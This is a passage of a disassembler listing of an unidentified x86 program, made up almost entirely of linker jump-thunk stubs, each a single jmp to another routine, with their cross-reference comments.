sub_4017EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017F3 proc near ; CODE XREF: ___:00421EAAp jmp sub_422470 sub_4017F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4017F8 proc near jmp sub_40B2E0 sub_4017F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017FD proc near ; CODE XREF: sub_406850+205p jmp sub_41B920 sub_4017FD endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401807 proc near ; CODE XREF: ___:00427D03p jmp sub_427D30 sub_401807 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40180C proc near ; CODE XREF: ___:00425F16p ; ___:00425F47p jmp sub_4257F0 sub_40180C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401811 proc near ; CODE XREF: sub_41E660+FFp ; sub_41E660+179p ... jmp sub_421B80 sub_401811 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401816 proc near ; CODE XREF: sub_40A1E0+7p jmp sub_40A200 sub_401816 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40181B proc near ; CODE XREF: sub_40B500+76p jmp sub_40B460 sub_40181B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401820 proc near ; CODE XREF: ___:00423F8Dp ; DATA XREF: ___:off_44541Co jmp sub_425100 sub_401820 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401825 proc near ; CODE XREF: sub_41E660+18Ep ; ___:0043C433j jmp sub_4219F0 sub_401825 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182A proc near ; DATA XREF: ___:off_43F10Co jmp sub_428210 sub_40182A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182F proc near ; CODE XREF: ___:00416D9Fp jmp sub_417DB0 sub_40182F endp ; --------------------------------------------------------------------------- jmp loc_42FF10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401839 proc near ; CODE XREF: sub_41E660+3BCp ; sub_4226B0+3p jmp sub_421D50 sub_401839 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40183E proc near ; CODE XREF: sub_427800+90p jmp sub_427AC0 sub_40183E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401843 proc near ; CODE XREF: ___:0042444Dp ; sub_424920+135p jmp sub_424480 sub_401843 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401848 proc near ; CODE XREF: sub_40BF10+3p ; ___:0040BFDFp ... jmp sub_40C150 sub_401848 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40184D proc near ; CODE XREF: sub_407140+36p ; sub_407140+72p ... jmp sub_407390 sub_40184D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401852 proc near ; CODE XREF: ___:00413241p jmp sub_415760 sub_401852 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401857 proc near ; CODE XREF: ___:0040BAA1p ; ___:0040BB68p ... jmp sub_4126C0 sub_401857 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40185C proc near ; CODE XREF: ___:004332DFp ; ___:004333EFp ... jmp sub_432E20 sub_40185C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401861 proc near ; DATA XREF: ___:0043359Ao ; ___:00433700o jmp sub_432E90 sub_401861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401866 proc near ; CODE XREF: sub_416450+7p jmp sub_416830 sub_401866 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40186B proc near ; CODE XREF: sub_4182F0+34p jmp sub_404BE0 sub_40186B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401870 proc near ; CODE XREF: sub_403530+7Ap ; sub_403530+9Ep ... jmp sub_409C10 sub_401870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401875 proc near ; CODE XREF: sub_420530+152p jmp sub_4207A0 sub_401875 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40187A proc near ; CODE XREF: ___:0041A328p ; sub_41B0E0+3p ... jmp sub_41B110 sub_40187A endp ; --------------------------------------------------------------------------- jmp loc_42B060 ; --------------------------------------------------------------------------- jmp loc_41C1E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401889 proc near ; CODE XREF: ___:00416B3Bp ; ___:0043B26Cj ... jmp sub_418BE0 sub_401889 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40188E proc near ; CODE XREF: sub_40FE30+217p ; sub_41FD90+4Cp ... jmp sub_41FD50 sub_40188E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401893 proc near ; CODE XREF: sub_42AC80+9Dp jmp sub_429450 sub_401893 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401898 proc near ; CODE XREF: ___:0042D2F5p jmp sub_4290B0 sub_401898 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40189D proc near ; DATA XREF: ___:0043F184o jmp sub_42B440 sub_40189D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A2 proc near ; CODE XREF: sub_41B580+DDp jmp sub_41AE00 sub_4018A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A7 proc near jmp sub_4341C0 sub_4018A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018AC proc near ; CODE XREF: ___:00414285p ; sub_414E00+1B2p jmp sub_413E60 sub_4018AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B1 proc near ; CODE XREF: sub_411C00+1B6p jmp sub_40A1E0 sub_4018B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B6 proc near ; CODE XREF: sub_41E660+5ABp jmp sub_4203D0 sub_4018B6 endp ; --------------------------------------------------------------------------- jmp loc_433000 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C0 proc near ; CODE XREF: sub_40A9E0+14p jmp sub_40AC90 sub_4018C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C5 proc near ; CODE XREF: sub_4135D0+B4p ; ___:00414C50p ... jmp sub_415700 sub_4018C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018CA proc near ; CODE XREF: sub_41A3B0+6Dp ; sub_41A3B0+1B5p jmp sub_41B030 sub_4018CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018CF proc near ; CODE XREF: ___:004323CAp jmp sub_431D80 sub_4018CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018D4 proc near ; CODE XREF: sub_418F80+5Fp jmp sub_419120 sub_4018D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018D9 proc near ; CODE XREF: ___:00416B8Bp ; ___:0043B226j ... jmp sub_4178B0 sub_4018D9 endp ; --------------------------------------------------------------------------- jmp loc_419ED0 ; --------------------------------------------------------------------------- jmp sub_41A1E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018E8 proc near ; CODE XREF: sub_41E660+46p jmp sub_4219B0 sub_4018E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018ED proc near ; CODE XREF: ___:0042D425p jmp sub_42AC10 sub_4018ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018F2 proc near ; CODE XREF: sub_422230+7p jmp sub_422620 sub_4018F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018F7 proc near ; CODE XREF: sub_4220B0+9p ; sub_422510+18p jmp sub_422690 sub_4018F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018FC proc near ; CODE XREF: sub_4222B0+8p jmp sub_422670 sub_4018FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401901 proc near ; CODE XREF: sub_413490+43p ; sub_414890+4Fp ... jmp sub_415810 sub_401901 endp ; --------------------------------------------------------------------------- jmp loc_431D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40190B proc near ; CODE XREF: sub_421AD0+1Fp jmp sub_421E50 sub_40190B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401910 proc near ; CODE XREF: sub_4219B0+11p ; sub_421E50+1Fp jmp sub_421F80 sub_401910 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401915 proc near ; CODE XREF: sub_40B460+6Dp jmp sub_40BE60 sub_401915 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40191A proc near ; CODE XREF: sub_409520+13p jmp sub_409650 sub_40191A endp ; --------------------------------------------------------------------------- jmp loc_4378B0 ; --------------------------------------------------------------------------- jmp sub_41B0E0 ; --------------------------------------------------------------------------- loc_401929: ; DATA XREF: ___:off_43F0A0o jmp loc_418BB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40192E proc near ; CODE XREF: ___:00413BF1p jmp sub_413A70 sub_40192E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401933 proc near ; CODE XREF: ___:00413253p ; sub_4132E0+32p jmp sub_4155A0 sub_401933 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401938 proc near ; CODE XREF: ___:00416C3Bp ; ___:0043B18Cj ... jmp sub_416FE0 sub_401938 endp ; --------------------------------------------------------------------------- jmp loc_432390 ; --------------------------------------------------------------------------- jmp loc_4347E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401947 proc near ; CODE XREF: sub_41C710+F1p ; sub_41C710+270p ... jmp sub_420E10 sub_401947 endp ; --------------------------------------------------------------------------- jmp loc_40A4D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401951 proc near ; CODE XREF: sub_404C30+283p ; sub_40EE30+D2p ... jmp sub_40F050 sub_401951 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401956 proc near ; CODE XREF: sub_4219F0+34p ; sub_422340+67p jmp sub_421FD0 sub_401956 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40195B proc near ; CODE XREF: sub_404C30+BF1p jmp sub_4066A0 sub_40195B endp ; --------------------------------------------------------------------------- jmp loc_433650 ; --------------------------------------------------------------------------- loc_401965: ; DATA XREF: sub_41FC00+39o jmp loc_41FB30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196A proc near ; CODE XREF: ___:0041A29Ep ; sub_41A3B0+Bp ... jmp sub_41A390 sub_40196A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196F proc near ; CODE XREF: ___:0041AC56p ; ___:0041AD36p jmp sub_41A960 sub_40196F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401974 proc near jmp sub_419260 sub_401974 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401979 proc near ; CODE XREF: sub_411730+3p ; sub_412AD0+2Ep jmp sub_412C10 sub_401979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40197E proc near ; CODE XREF: sub_41E660+F5p ; sub_41E660+16Fp ... jmp sub_421AA0 sub_40197E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401983 proc near ; CODE XREF: sub_409520+4p ; sub_4096D0+1Fp ... jmp sub_4095D0 sub_401983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401988 proc near jmp sub_409B00 sub_401988 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40198D proc near ; CODE XREF: sub_41F860+20p ; sub_42AC80+37p jmp sub_41FE50 sub_40198D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401992 proc near ; CODE XREF: sub_4135D0+4Ap ; ___:00414BFFp ... jmp sub_4154F0 sub_401992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401997 proc near ; CODE XREF: sub_40A500+A8p jmp sub_40A920 sub_401997 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40199C proc near ; CODE XREF: sub_40CC80+41p jmp sub_40CF30 sub_40199C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019A1 proc near ; CODE XREF: ___:004346F5p ; ___:004347F5p jmp sub_434450 sub_4019A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019A6 proc near ; CODE XREF: sub_4219F0+29p jmp sub_421EF0 sub_4019A6 endp ; --------------------------------------------------------------------------- jmp loc_42FFE0 ; --------------------------------------------------------------------------- jmp loc_42FFB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019B5 proc near ; CODE XREF: sub_40A860+Dp ; sub_40AAC0+91p jmp sub_40A9E0 sub_4019B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019BA proc near ; CODE XREF: sub_422150+23p ; sub_422510+11p jmp sub_4226B0 sub_4019BA endp ; --------------------------------------------------------------------------- jmp loc_41ABF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019C4 proc near ; CODE XREF: sub_403F80+2Cp ; ___:00403FFFp ... jmp sub_403530 sub_4019C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019C9 proc near ; CODE XREF: sub_422850+6p jmp sub_4228C0 sub_4019C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019CE proc near ; DATA XREF: ___:off_43F05Co jmp sub_418B00 sub_4019CE endp ; --------------------------------------------------------------------------- jmp sub_412830 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4019D8 proc near ; CODE XREF: sub_407460+4p jmp sub_407590 sub_4019D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019DD proc near ; CODE XREF: ___:0040B6F9p ; ___:0040BB16p ... jmp sub_40B5F0 sub_4019DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019E2 proc near ; CODE XREF: sub_40FE30+AF4p ; sub_40FE30+E6Ap jmp sub_411730 sub_4019E2 endp ; --------------------------------------------------------------------------- jmp loc_433C30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019EC proc near ; CODE XREF: sub_414590+CEp jmp sub_414700 sub_4019EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019F1 proc near ; DATA XREF: ___:0043F1C8o jmp sub_42CB70 sub_4019F1 endp ; --------------------------------------------------------------------------- loc_4019F6: ; DATA XREF: ___:off_43F0D0o jmp loc_421870 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019FB proc near ; CODE XREF: sub_421B10+3p jmp sub_422030 sub_4019FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A00 proc near ; CODE XREF: ___:00416D4Fp jmp sub_40B180 sub_401A00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A05 proc near jmp sub_4133A0 sub_401A05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A0A proc near ; CODE XREF: sub_41E660+477p jmp sub_4200F0 sub_401A0A endp ; --------------------------------------------------------------------------- jmp loc_421850 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A14 proc near ; DATA XREF: ___:0043F124o jmp sub_428940 sub_401A14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A19 proc near jmp sub_411760 sub_401A19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A1E proc near ; CODE XREF: sub_4344C0+92p jmp sub_431C30 sub_401A1E endp ; --------------------------------------------------------------------------- jmp loc_429420 ; --------------------------------------------------------------------------- jmp loc_427D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A2D proc near ; CODE XREF: sub_421EF0+32p jmp sub_422340 sub_401A2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A32 proc near ; CODE XREF: ___:00416BCBp ; sub_418B00+3p ... jmp sub_418AD0 sub_401A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A37 proc near ; CODE XREF: ___:00423B04p ; ___:004285E8p ... jmp sub_420D00 sub_401A37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A3C proc near ; CODE XREF: sub_422310+Ap jmp sub_422720 sub_401A3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A41 proc near ; CODE XREF: ___:00412F8Fp ; ___:00413044p ... jmp sub_404600 sub_401A41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A46 proc near ; CODE XREF: sub_409520+1Ap ; sub_409600+4p ... jmp sub_409590 sub_401A46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A4B proc near ; DATA XREF: ___:off_43F028o jmp sub_412830 sub_401A4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A50 proc near ; DATA XREF: ___:0043F0E4o jmp sub_427800 sub_401A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A55 proc near ; CODE XREF: ___:00426475p jmp sub_426070 sub_401A55 endp ; --------------------------------------------------------------------------- jmp loc_409E20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A5F proc near ; CODE XREF: sub_415B90+1Ep jmp sub_416640 sub_401A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A64 proc near ; CODE XREF: ___:004305E0p ; sub_4321F0+36p ... jmp sub_431630 sub_401A64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A69 proc near ; CODE XREF: sub_4138A0+3Ep jmp sub_434BF0 sub_401A69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A6E proc near ; CODE XREF: sub_414A60+3p jmp sub_414A90 sub_401A6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A73 proc near ; CODE XREF: ___:00408293p ; ___:00408724p jmp sub_409560 sub_401A73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A78 proc near ; DATA XREF: ___:0043F0E0o ; ___:0043F0F0o ... jmp sub_4276C0 sub_401A78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A7D proc near ; CODE XREF: sub_41D830+1ADp jmp sub_42DB00 sub_401A7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A82 proc near ; CODE XREF: sub_420530+191p ; sub_4228C0+3p ... jmp sub_4207C0 sub_401A82 endp ; --------------------------------------------------------------------------- jmp loc_4302E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A8C proc near ; CODE XREF: sub_4226E0+5p jmp sub_422850 sub_401A8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A91 proc near ; CODE XREF: ___:00416E0Ap jmp sub_4180C0 sub_401A91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A96 proc near ; CODE XREF: sub_407270+5p ; sub_407360+6p ... jmp sub_4074B0 sub_401A96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A9B proc near ; CODE XREF: sub_403530+90p ; sub_404C30+40Cp ... jmp sub_40A770 sub_401A9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AA0 proc near ; CODE XREF: sub_41D830+2FFp ; sub_41EF30+52Fp jmp sub_41FD90 sub_401AA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AA5 proc near ; CODE XREF: ___:004330BAp jmp sub_430B30 sub_401AA5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AAA proc near ; CODE XREF: sub_415560+1Fp jmp sub_415EC0 sub_401AAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AAF proc near ; CODE XREF: sub_403530+E5p ; sub_409F40+Fp ... jmp sub_409E70 sub_401AAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AB4 proc near ; CODE XREF: sub_432850+17p ; sub_432850+33p jmp sub_434A00 sub_401AB4 endp ; --------------------------------------------------------------------------- jmp loc_434770 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_427D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AC8 proc near ; CODE XREF: sub_424F70+E5p ; sub_424F70+120p jmp sub_424E20 sub_401AC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ACD proc near ; DATA XREF: ___:off_43F034o jmp sub_411C00 sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD2 proc near ; DATA XREF: ___:0041FB33o jmp sub_41FA90 sub_401AD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD7 proc near ; CODE XREF: sub_407140+Bp jmp sub_407320 sub_401AD7 endp ; --------------------------------------------------------------------------- jmp loc_433E90 ; --------------------------------------------------------------------------- loc_401AE1: ; DATA XREF: ___:off_43F020o jmp loc_40B9A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AE6 proc near ; CODE XREF: sub_403EA0+2Bp ; sub_403EA0+3Bp ... jmp sub_403CD0 sub_401AE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AEB proc near ; CODE XREF: sub_4135D0+66p ; sub_4135D0+CAp ... jmp sub_415730 sub_401AEB endp ; --------------------------------------------------------------------------- jmp loc_41B880 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AF5 proc near jmp sub_4228F0 sub_401AF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AFA proc near ; CODE XREF: ___:00416C1Bp ; ___:0043B1A8j ... jmp sub_40B240 sub_401AFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AFF proc near ; CODE XREF: ___:00421764p ; ___:0042179Ep jmp sub_4215D0 sub_401AFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B04 proc near ; CODE XREF: sub_404BA0+15p jmp sub_407140 sub_401B04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B09 proc near ; DATA XREF: ___:off_43F0BCo jmp sub_41A1E0 sub_401B09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B0E proc near ; CODE XREF: ___:00416ECFp jmp sub_4188C0 sub_401B0E endp ; --------------------------------------------------------------------------- loc_401B13: ; CODE XREF: ___:00439F76j jmp loc_40CBC0 ; --------------------------------------------------------------------------- loc_401B18: ; DATA XREF: ___:off_43F16Co jmp loc_42B060 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B1D proc near ; CODE XREF: sub_416F70+28p jmp sub_418850 sub_401B1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B22 proc near ; CODE XREF: ___:00432CD7p jmp sub_432D10 sub_401B22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B27 proc near ; CODE XREF: sub_431240+Bp jmp sub_4316C0 sub_401B27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B2C proc near jmp sub_40AF70 sub_401B2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B31 proc near ; CODE XREF: ___:00418D6Bp ; sub_418F80+28p ... jmp sub_419040 sub_401B31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B36 proc near ; DATA XREF: ___:off_43F1B0o jmp sub_42C7E0 sub_401B36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B3B proc near ; CODE XREF: ___:00416B6Bp ; ___:0043B242j ... jmp sub_417990 sub_401B3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B40 proc near ; CODE XREF: ___:004087C3p ; ___:004087E4p ... jmp sub_4076B0 sub_401B40 endp ; --------------------------------------------------------------------------- jmp loc_414BB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B4A proc near ; CODE XREF: sub_41C710+83p ; ___:0042954Fp jmp sub_41D640 sub_401B4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B4F proc near ; CODE XREF: sub_41A960+11p jmp sub_41A990 sub_401B4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B54 proc near ; CODE XREF: sub_41E660+339p jmp sub_421D10 sub_401B54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B59 proc near ; CODE XREF: sub_414D30+3p jmp sub_414D60 sub_401B59 endp ; --------------------------------------------------------------------------- jmp loc_433F90 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B63 proc near ; CODE XREF: sub_430D90+29p jmp sub_430830 sub_401B63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B68 proc near ; CODE XREF: sub_412860+38p ; ___:0043A458j jmp sub_4127E0 sub_401B68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B6D proc near jmp sub_40D650 sub_401B6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B72 proc near ; CODE XREF: sub_4076B0+3Bp ; sub_407740+43p jmp sub_40B500 sub_401B72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B77 proc near ; CODE XREF: sub_407320+3p jmp sub_4074F0 sub_401B77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B7C proc near ; CODE XREF: sub_424920+9Dp ; sub_424920+FBp ... jmp sub_4246D0 sub_401B7C endp ; --------------------------------------------------------------------------- loc_401B81: ; DATA XREF: ___:off_43F074o jmp loc_426EC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B86 proc near ; CODE XREF: sub_40FE30+413p ; sub_40FE30+F69p ... jmp sub_40A030 sub_401B86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B8B proc near ; CODE XREF: ___:00426764p jmp sub_4267D0 sub_401B8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B90 proc near ; CODE XREF: sub_422150+32p jmp sub_422510 sub_401B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B95 proc near ; CODE XREF: sub_41B580+A5p jmp sub_41A7D0 sub_401B95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B9A proc near ; CODE XREF: sub_40C030+23p ; sub_40C1F0+11p jmp sub_40C390 sub_401B9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B9F proc near ; CODE XREF: ___:0042CB23p jmp sub_42CB50 sub_401B9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BA4 proc near jmp sub_41E140 sub_401BA4 endp ; --------------------------------------------------------------------------- loc_401BA9: ; DATA XREF: sub_431240+86o jmp loc_432940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BAE proc near ; CODE XREF: sub_409600+20p jmp sub_4096D0 sub_401BAE endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BB8 proc near ; DATA XREF: ___:off_43F094o jmp sub_40CC80 sub_401BB8 endp ; --------------------------------------------------------------------------- jmp loc_431CC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BC2 proc near ; CODE XREF: sub_421CD0+1Fp jmp sub_4220B0 sub_401BC2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BC7 proc near ; CODE XREF: sub_428810+39p jmp sub_4283D0 sub_401BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BCC proc near ; CODE XREF: sub_415810+5p ; sub_415A20+6p ... jmp sub_416470 sub_401BCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD1 proc near ; CODE XREF: sub_4316C0+5Dp ; sub_432A20+3Ep jmp sub_4317C0 sub_401BD1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD6 proc near ; CODE XREF: ___:00433419p ; ___:0043343Ap ... jmp sub_431EF0 sub_401BD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BDB proc near ; CODE XREF: ___:00427092p jmp sub_427C90 sub_401BDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BE0 proc near ; CODE XREF: sub_41B4A0+3p jmp sub_41B4D0 sub_401BE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BE5 proc near ; CODE XREF: sub_42AEE0+3p jmp sub_42AF10 sub_401BE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEA proc near ; CODE XREF: sub_422B40+924p ; ___:0042416Ap jmp sub_426BD0 sub_401BEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEF proc near ; CODE XREF: sub_42E5B0+18Dp ; sub_42E5B0+1CDp ... jmp sub_42F2C0 sub_401BEF endp ; =============== S U B R O U T I N E ======================================= ; 